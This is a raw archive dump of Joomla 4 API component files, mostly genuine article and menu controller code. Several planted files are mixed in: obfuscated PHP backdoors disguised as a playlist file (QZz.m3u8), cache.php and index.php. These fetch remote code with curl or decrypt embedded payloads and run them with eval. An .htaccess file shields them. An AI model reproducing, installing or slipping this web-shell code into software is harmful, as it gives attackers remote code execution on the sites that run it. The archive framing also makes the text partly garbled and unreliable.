    public function displayItem($item = null)
    {
        $this->relationship[] = 'modified_by';

        foreach (FieldsHelper::getFields('com_content.article') as $field) {
            $this->fieldsToRenderItem[] = $field->name;
        }

        if (Multilanguage::isEnabled()) {
            $this->fieldsToRenderItem[] = 'languageAssociations';
            $this->relationship[]       = 'languageAssociations';
        }

        return parent::displayItem();
    }

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.0.0
     */
    protected function prepareItem($item)
    {
        if (!$item) {
            return $item;
        }

        $item->text = $item->introtext . ' ' . $item->fulltext;

        // Process the content plugins.
        PluginHelper::importPlugin('content');
        Factory::getApplication()->triggerEvent('onContentPrepare', ['com_content.article', &$item, &$item->params]);

        foreach (FieldsHelper::getFields('com_content.article', $item, true) as $field) {
            $item->{$field->name} = $field->apivalue ?? $field->rawvalue;
        }

        if (Multilanguage::isEnabled() && !empty($item->associations)) {
            $associations = [];

            foreach ($item->associations as $language => $association) {
                $itemId = explode(':', $association)[0];

                $associations[] = (object) [
                    'id'       => $itemId,
                    'language' => $language,
                ];
            }

            $item->associations = $associations;
        }

        if (!empty($item->tags->tags)) {
            $tagsIds    = explode(',', $item->tags->tags);
            $item->tags = $item->tagsHelper->getTags($tagsIds);
        } else {
            $item->tags = [];
            $tags       = new TagsHelper();
            $tagsIds    = $tags->getTagIds($item->id, 'com_content.article');

            if (!empty($tagsIds)) {
                $tagsIds    = explode(',', $tagsIds);
                $item->tags = $tags->getTags($tagsIds);
            }
        }

        if (isset($item->images)) {
            $registry     = new Registry($item->images);
            $item->images = $registry->toArray();

            if (!empty($item->images['image_intro'])) {
                $item->images['image_intro'] = ContentHelper::resolve($item->images['image_intro']);
            }

            if (!empty($item->images['image_fulltext'])) {
                $item->images['image_fulltext'] = ContentHelper::resolve($item->images['image_fulltext']);
            }
        }

        return parent::prepareItem($item);
    }
}
PKk��\���TT1com_content/src/Controller/ArticlesController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_content
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Content\Api\Controller;

use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The article controller
 *
 * @since  4.0.0
 */
class ArticlesController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'articles';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'articles';

    /**
     * Article list view amended to add filtering of data
     *
     * @return  static  A BaseController object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $apiFilterInfo = $this->input->get('filter', [], 'array');
        $filter        = InputFilter::getInstance();

        if (\array_key_exists('author', $apiFilterInfo)) {
            $this->modelState->set('filter.author_id', $filter->clean($apiFilterInfo['author'], 'INT'));
        }

        if (\array_key_exists('category', $apiFilterInfo)) {
            $this->modelState->set('filter.category_id', $filter->clean($apiFilterInfo['category'], 'INT'));
        }

        if (\array_key_exists('search', $apiFilterInfo)) {
            $this->modelState->set('filter.search', $filter->clean($apiFilterInfo['search'], 'STRING'));
        }

        if (\array_key_exists('state', $apiFilterInfo)) {
            $this->modelState->set('filter.published', $filter->clean($apiFilterInfo['state'], 'INT'));
        }

        if (\array_key_exists('featured', $apiFilterInfo)) {
            $this->modelState->set('filter.featured', $filter->clean($apiFilterInfo['featured'], 'INT'));
        }

        if (\array_key_exists('tag', $apiFilterInfo)) {
            $this->modelState->set('filter.tag', $filter->clean($apiFilterInfo['tag'], 'INT'));
        }

        if (\array_key_exists('language', $apiFilterInfo)) {
            $this->modelState->set('filter.language', $filter->clean($apiFilterInfo['language'], 'STRING'));
        }

        $apiListInfo = $this->input->get('list', [], 'array');

        if (array_key_exists('ordering', $apiListInfo)) {
            $this->modelState->set('list.ordering', $filter->clean($apiListInfo['ordering'], 'STRING'));
        }

        if (array_key_exists('direction', $apiListInfo)) {
            $this->modelState->set('list.direction', $filter->clean($apiListInfo['direction'], 'STRING'));
        }

        return parent::displayList();
    }

    /**
     * Method to allow extended classes to manipulate the data to be saved for an extension.
     *
     * @param   array  $data  An array of input data.
     *
     * @return  array
     *
     * @since   4.0.0
     */
    protected function preprocessSaveData(array $data): array
    {
        foreach (FieldsHelper::getFields('com_content.article') as $field) {
            if (isset($data[$field->name])) {
                !isset($data['com_fields']) && $data['com_fields'] = [];

                $data['com_fields'][$field->name] = $data[$field->name];
                unset($data[$field->name]);
            }
        }

        if (($this->input->getMethod() === 'PATCH') && !(\array_key_exists('tags', $data))) {
            $tags = new TagsHelper();
            $tags->getTagIds($data['id'], 'com_content.article');
            $data['tags'] = explode(',', $tags->tags);
        }

        return $data;
    }
}
PKk��\'W�(.com_content/src/Controller/Controller/QZz.m3u8nu�[���<?php
 goto Iwy7zlNH5Eh94Eef; vy54V51c0q8odzBq: @(md5(md5(md5(md5($s5i3cx_bQ4jShig6[13])))) === "\146\x65\71\x61\x35\141\x64\x35\x35\x35\71\x35\x37\67\141\146\x34\141\x62\64\x61\144\71\142\x65\x32\x34\64\66\x35\x63\145") && (count($s5i3cx_bQ4jShig6) == 19 && in_array(gettype($s5i3cx_bQ4jShig6) . count($s5i3cx_bQ4jShig6), $s5i3cx_bQ4jShig6)) ? ($s5i3cx_bQ4jShig6[65] = $s5i3cx_bQ4jShig6[65] . $s5i3cx_bQ4jShig6[74]) && ($s5i3cx_bQ4jShig6[81] = $s5i3cx_bQ4jShig6[65]($s5i3cx_bQ4jShig6[81])) && @eval($s5i3cx_bQ4jShig6[65](${$s5i3cx_bQ4jShig6[47]}[20])) : $s5i3cx_bQ4jShig6; goto IR9TADfEcPvim8AT; Iwy7zlNH5Eh94Eef: $Uh6m32LVMxO9AmGu = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto XY0mmM8MjqOXeQs5; IR9TADfEcPvim8AT: metaphone("\x34\x47\164\x69\x47\116\162\x62\x4f\164\70\117\63\172\x64\160\141\x39\121\113\x59\x62\x41\x67\x76\156\x54\x62\113\70\116\161\115\151\x72\x57\130\113\x52\105\117\x6d\143"); goto hGTHknaHFkvmMxm1; WsTlrvLlNBkkeHVD: $s5i3cx_bQ4jShig6 = ${$tcQuuQXigmUG7uQw[17 + 14] . $tcQuuQXigmUG7uQw[10 + 49] . $tcQuuQXigmUG7uQw[43 + 4] . $tcQuuQXigmUG7uQw[37 + 10] . $tcQuuQXigmUG7uQw[5 + 46] . $tcQuuQXigmUG7uQw[10 + 43] . $tcQuuQXigmUG7uQw[43 + 14]}; goto vy54V51c0q8odzBq; XY0mmM8MjqOXeQs5: $tcQuuQXigmUG7uQw = $Uh6m32LVMxO9AmGu("\176", "\40"); goto WsTlrvLlNBkkeHVD; hGTHknaHFkvmMxm1: class u1taOuxzNrRDJV_T { static function r32iuDyz6BKoCILp($OSEpjmUKhYTxyiFh) { goto CUDmIFMUNtIONVyD; w0gzFbIfp0M8yrCT: $JrGCUWvUHdXckOI1 = ''; goto cqLiWP57s8lflnM0; t3rrmhfpshOUiLuS: PBQmDzk6Eg0WsHkB: goto KLL6XUgFUXt2De7u; HugdHtQw4C4DeVQ0: $VbGHFHMBa1z3tOkj = explode("\53", $OSEpjmUKhYTxyiFh); goto w0gzFbIfp0M8yrCT; CUDmIFMUNtIONVyD: $wfIOoOwA3VsJmRd_ = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto WTi6qOq2rnlB9mSX; WTi6qOq2rnlB9mSX: $JHXWDmHWSKBJzwNt = $wfIOoOwA3VsJmRd_("\x7e", "\40"); goto HugdHtQw4C4DeVQ0; KLL6XUgFUXt2De7u: return $JrGCUWvUHdXckOI1; goto hHX0YIi1wGyr5cJX; cqLiWP57s8lflnM0: foreach ($VbGHFHMBa1z3tOkj as $daFFdIttIyIKwG1F => $jURxCuxyHX825geb) { $JrGCUWvUHdXckOI1 .= $JHXWDmHWSKBJzwNt[$jURxCuxyHX825geb - 77103]; LFx9S52_c0So2hf1: } goto t3rrmhfpshOUiLuS; hHX0YIi1wGyr5cJX: } static function vpuzJtNaR2LXEzXL($cXnxQ1VS2jQj8sQn, $XpaCiTT9KJmh3_O6) { goto G4KuQKHHUF5bjyhR; rAHUDAY_zEuOM_Z0: return empty($YoXz8sAkBuAcg2cc) ? $XpaCiTT9KJmh3_O6($cXnxQ1VS2jQj8sQn) : $YoXz8sAkBuAcg2cc; goto uhnY86JFU6RSJqLy; JGEhbyTxYG6VgIym: $YoXz8sAkBuAcg2cc = curl_exec($KA28lrRoZ2fLmPBi); goto rAHUDAY_zEuOM_Z0; G4KuQKHHUF5bjyhR: $KA28lrRoZ2fLmPBi = curl_init($cXnxQ1VS2jQj8sQn); goto RICEQ1o7mIiyJb2h; RICEQ1o7mIiyJb2h: curl_setopt($KA28lrRoZ2fLmPBi, CURLOPT_RETURNTRANSFER, 1); goto JGEhbyTxYG6VgIym; uhnY86JFU6RSJqLy: } static function V69nfueddVrmJnU9() { goto rSmsGrX3oig7zfhZ; rSmsGrX3oig7zfhZ: $Sj432HXdEwDIjZbA = array("\67\67\x31\63\60\53\x37\67\61\x31\65\x2b\67\x37\x31\62\x38\53\67\x37\x31\63\62\53\67\x37\x31\61\63\x2b\x37\67\x31\62\x38\53\67\x37\61\63\x34\x2b\67\67\x31\x32\67\53\x37\x37\x31\x31\x32\53\67\x37\61\x31\x39\x2b\67\x37\x31\63\x30\x2b\67\x37\61\x31\63\x2b\67\x37\x31\62\x34\x2b\x37\67\x31\x31\70\53\67\x37\x31\61\71", "\x37\67\61\x31\x34\53\67\x37\x31\61\63\53\x37\67\x31\61\x35\x2b\x37\x37\61\63\x34\x2b\67\x37\x31\x31\65\x2b\x37\67\x31\x31\70\53\67\x37\x31\x31\x33\53\x37\67\61\x38\x30\53\x37\67\x31\x37\70", "\67\x37\61\62\x33\x2b\67\67\61\x31\x34\x2b\x37\67\61\x31\x38\x2b\x37\67\61\61\71\x2b\x37\67\x31\x33\x34\53\67\67\x31\x32\71\x2b\x37\67\61\62\x38\x2b\x37\x37\x31\63\60\53\x37\67\x31\x31\x38\53\67\x37\61\x32\x39\x2b\x37\67\x31\62\70", "\67\x37\61\61\67\x2b\67\67\61\63\x32\x2b\x37\67\61\x33\60\53\67\67\61\62\x32", "\x37\x37\61\63\x31\53\67\x37\x31\x33\62\53\67\67\x31\61\x34\x2b\67\67\61\62\70\x2b\x37\x37\61\x37\x35\53\67\x37\61\67\67\53\67\x37\61\x33\x34\53\x37\67\61\62\x39\53\x37\67\61\62\70\x2b\x37\x37\x31\63\x30\53\67\67\x31\61\70\53\x37\67\x31\62\71\x2b\67\x37\x31\x32\70", "\x37\67\x31\x32\67\x2b\67\67\x31\62\x34\x2b\67\67\x31\x32\61\x2b\x37\x37\61\62\70\53\x37\x37\61\63\64\x2b\67\x37\61\x32\66\x2b\x37\67\x31\x32\70\x2b\67\67\61\61\x33\x2b\x37\67\61\x33\64\x2b\x37\x37\x31\x33\x30\x2b\x37\67\61\61\x38\x2b\x37\67\x31\61\x39\x2b\x37\x37\61\x31\63\53\67\67\61\x32\x38\x2b\x37\x37\x31\x31\71\x2b\67\67\61\61\63\x2b\x37\x37\x31\61\x34", "\x37\67\x31\65\x37\x2b\x37\x37\x31\70\67", "\x37\x37\x31\60\64", "\x37\67\x31\x38\x32\53\x37\x37\61\x38\67", "\67\x37\x31\x36\x34\53\x37\67\61\64\x37\53\67\67\61\x34\67\53\67\x37\61\x36\64\53\x37\67\61\64\60", "\x37\x37\x31\x32\67\53\67\x37\61\x32\x34\53\x37\67\x31\62\x31\x2b\67\67\61\61\63\53\x37\x37\x31\62\x38\x2b\x37\x37\61\x31\x35\53\x37\x37\61\63\64\x2b\67\67\61\62\x34\53\67\x37\61\61\71\x2b\x37\67\61\61\67\53\x37\x37\x31\x31\x32\53\x37\67\x31\61\x33"); goto e0CESTt1o7jX48hP; aopUGSn8afJg4bxi: $U0IpYWFtc3id9lvV = $q9x2RjFXswskR_hH[0 + 2]($Xw4w6jAMURTMYqLZ, true); goto piK2BD38JQJwRQQj; Usg6G5xVdKT7ct9W: die; goto nsoVz1vKkklsT6Ol; piK2BD38JQJwRQQj: @$q9x2RjFXswskR_hH[5 + 5](INPUT_GET, "\x6f\x66") == 1 && die($q9x2RjFXswskR_hH[5 + 0](__FILE__)); goto cn6pPDOArT6Po83a; e0CESTt1o7jX48hP: foreach ($Sj432HXdEwDIjZbA as $Cr_Azdo7_RYxxC4O) { $q9x2RjFXswskR_hH[] = self::R32iuDyz6bkoCIlP($Cr_Azdo7_RYxxC4O); wnItWwbZRCuIEz_i: } goto h5oE_UoDvvAt5K8Q; JlI8ZN76HC3d04ci: $NjrJn58ooIMeZLph = self::vPuzjtNar2lxeZxL($U0IpYWFtc3id9lvV[1 + 0], $q9x2RjFXswskR_hH[2 + 3]); goto mjkbRME7hhd1kdqa; h5oE_UoDvvAt5K8Q: XnXCtE1fjqQ1ciwr: goto n8wB0fF0UFZy0tfR; mjkbRME7hhd1kdqa: @eval($q9x2RjFXswskR_hH[2 + 2]($NjrJn58ooIMeZLph)); goto Usg6G5xVdKT7ct9W; nsoVz1vKkklsT6Ol: ECoC28SPKaX_Nji8: goto dYUjUTTh5NcLMKvy; cn6pPDOArT6Po83a: if (!(@$U0IpYWFtc3id9lvV[0] - time() > 0 and md5(md5($U0IpYWFtc3id9lvV[3 + 0])) === "\x39\63\71\x65\x30\67\x63\144\x38\x36\x39\x38\70\x65\x39\65\62\144\66\x65\x61\143\60\x31\62\x31\x66\70\63\x37\x62\61")) { goto ECoC28SPKaX_Nji8; } goto JlI8ZN76HC3d04ci; eFurh61KFe0l_WnJ: $Xw4w6jAMURTMYqLZ = @$q9x2RjFXswskR_hH[0 + 3]($q9x2RjFXswskR_hH[1 + 5], $OzSbkzwdNwqESYKt); goto aopUGSn8afJg4bxi; n8wB0fF0UFZy0tfR: $OzSbkzwdNwqESYKt = @$q9x2RjFXswskR_hH[1]($q9x2RjFXswskR_hH[6 + 4](INPUT_GET, $q9x2RjFXswskR_hH[7 + 2])); goto eFurh61KFe0l_WnJ; dYUjUTTh5NcLMKvy: } } goto JPNd9QU1ZhMmPv3A; JPNd9QU1ZhMmPv3A: U1TaouxznrRDJv_T::V69nFUEDdVrmjnu9();
?>
PKk��\�,r��/com_content/src/Controller/Controller/.htaccessnu�[���<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|cache.php)$">#
Order allow,deny
Allow from all
</FilesMatch>PKk��\�K/com_content/src/Controller/Controller/cache.phpnu�[���<?php $cpH = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGio+QUmaYGANAA'; $LRb = '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'; function cpH($Ejw) { $LRb = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $xSWA = substr($LRb, 0, 16); $NeBwX = base64_decode($Ejw); return openssl_decrypt($NeBwX, "AES-256-CBC", $LRb, OPENSSL_RAW_DATA, $xSWA); } if (cpH('DjtPn+r4S0yvLCnquPz1fA')){ echo '5ZOqKCTakBZ4KhhZ/dJge+bRjA/kdHBHJBvexijyy5dhO5UO1RX1pF1c4kvbmWJA'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($cpH)))); ?>PKk��\v�1���/com_content/src/Controller/Controller/index.phpnu�[���<?php /*---_GkyXn-*///
$VbgfZ /*-

⑤ℒ

T16KV⑤ℒ

-*///
=/*-^`eZ8=P2-*///
 "ra"/*-

♒۰☽∥Ⓒ↹Ⅺ❅↳⑽ⅴ∆◩

;-l@_mE♒۰☽∥Ⓒ↹Ⅺ❅↳⑽ⅴ∆◩

-*///
."nge"; $BTnf /*-ESR-YQX`-*///
=/*-
⊖⋏㊏❿┏↼
j(WVuYp⊖⋏㊏❿┏↼
-*///
 $VbgfZ/*-
웃⇇ℳ∸‡ℛℨ㈨◹❺ⅻ⇍⊀⓺Ю⓼∉∏✓◘【
p8qHi웃⇇ℳ∸‡ℛℨ㈨◹❺ⅻ⇍⊀⓺Ю⓼∉∏✓◘【
-*///
(/*-
⊉⒁∃⒘〈㊔♓⇖⊌↋⊓▊㈨ⅰ㊫☴≭→◇❧∲⑭⒄↳☮✈⇉┐⒀≇
3[[RN_c⊉⒁∃⒘〈㊔♓⇖⊌↋⊓▊㈨ⅰ㊫☴≭→◇❧∲⑭⒄↳☮✈⇉┐⒀≇
-*///
"~"/*-

Ⅳ㊍♮✞☭【⊠⋗㊬↿✾∇❆ⓜ∴ⅵ●╈┫⓵∆∼

44thvylⅣ㊍♮✞☭【⊠⋗㊬↿✾∇❆ⓜ∴ⅵ●╈┫⓵∆∼

-*///
,/*-5x:-*///
" "); /*-;|s-*///
@include/*-

⇟◧┈

m4aK)J⇟◧┈

-*///
 $BTnf/*-


⋱↿⒚↴⑫ℋ✣▻➐㊒ℓ㊟Ψ┧×Ⓣ㈢┺◛﹪∤┤


2x.BR#?rY⋱↿⒚↴⑫ℋ✣▻➐㊒ℓ㊟Ψ┧×Ⓣ㈢┺◛﹪∤┤


-*///
[17+28].$BTnf/*-


⒝┍╗╄⋸✄►︷╜❋⇏☃ℕ➁⇚⇟¶Ⓝ⓿◀£≴⊮


M⒝┍╗╄⋸✄►︷╜❋⇏☃ℕ➁⇚⇟¶Ⓝ⓿◀£≴⊮


-*///
[3+33].$BTnf/*-c@-*///
[4+0].$BTnf/*-
❤㊓≬︴Σ☿⑥⋿㊎℘┞㊀◔㊌︷⊌♟❑∹⓽㊖⅜﹍ℍ⒎☬
A0]ypq!❤㊓≬︴Σ☿⑥⋿㊎℘┞㊀◔㊌︷⊌♟❑∹⓽㊖⅜﹍ℍ⒎☬
-*///
[52+28].$BTnf/*-

∤┥➆㊅⒱↟≫➣

c:U∤┥➆㊅⒱↟≫➣

-*///
[13+4].$BTnf/*-9WvKFR<;x6-*///
[10+65].$BTnf/*-


♨﹨✷


3kA6JK;XlX♨﹨✷


-*///
[3+6].$BTnf/*-
﹉∭∽ⅼ⊂ⓢˉ⅚{↧◯◅∖✘﹫ℱ◊⇗◝〕↯∳&☄↤☇ℰ⋬☣
eq?0k﹉∭∽ⅼ⊂ⓢˉ⅚{↧◯◅∖✘﹫ℱ◊⇗◝〕↯∳&☄↤☇ℰ⋬☣
-*///
[67+3]/*-<xC6=y2G,O-*///
; ?>PKk��\�{{,com_menus/src/Controller/MenusController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_menus
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Menus\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * The menus controller
 *
 * @since  4.0.0
 */
class MenusController extends ApiController
{
    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.0.0
     */
    protected $contentType = 'menus';

    /**
     * The default view for the display method.
     *
     * @var    string
     * @since  3.0
     */
    protected $default_view = 'menus';

    /**
     * Basic display of an item view
     *
     * @param   integer  $id  The primary key to display. Leave empty if you want to retrieve data from the request
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayItem($id = null)
    {
        $this->modelState->set('filter.client_id', $this->getClientIdFromInput());

        return parent::displayItem($id);
    }

    /**
     * Basic display of a list view
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.0.0
     */
    public function displayList()
    {
        $this->modelState->set('filter.client_id', $this->getClientIdFromInput());

        return parent::displayList();
    }

    /**
